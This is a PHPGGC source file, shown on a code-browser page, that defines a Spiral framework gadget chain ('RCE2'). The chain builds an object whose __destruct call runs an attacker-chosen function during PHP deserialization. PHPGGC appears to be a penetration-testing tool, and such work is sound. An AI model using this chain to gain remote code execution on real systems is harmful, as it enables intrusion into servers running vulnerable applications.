Codebase list phpggc / 3f5a673 gadgetchains / Spiral / RCE / 2 / chain.php
3f5a673

Tree @3f5a673 (Download .tar.gz)

chain.php @3f5a673raw · history · blame

<?php

namespace GadgetChain\Spiral;

class RCE2 extends \PHPGGC\GadgetChain\RCE\FunctionCall
{
    public static $version = '-2.8+';
    public static $vector = '__destruct';
    public static $author = 'CyanM0un';
    public static $information = 'execute the function and throw an error';

    public function generate(array $parameters)
    {
        $function = $parameters['function'];
        $parameter = $parameters['parameter'];

        return new \App\App($function,$parameter);
    }
}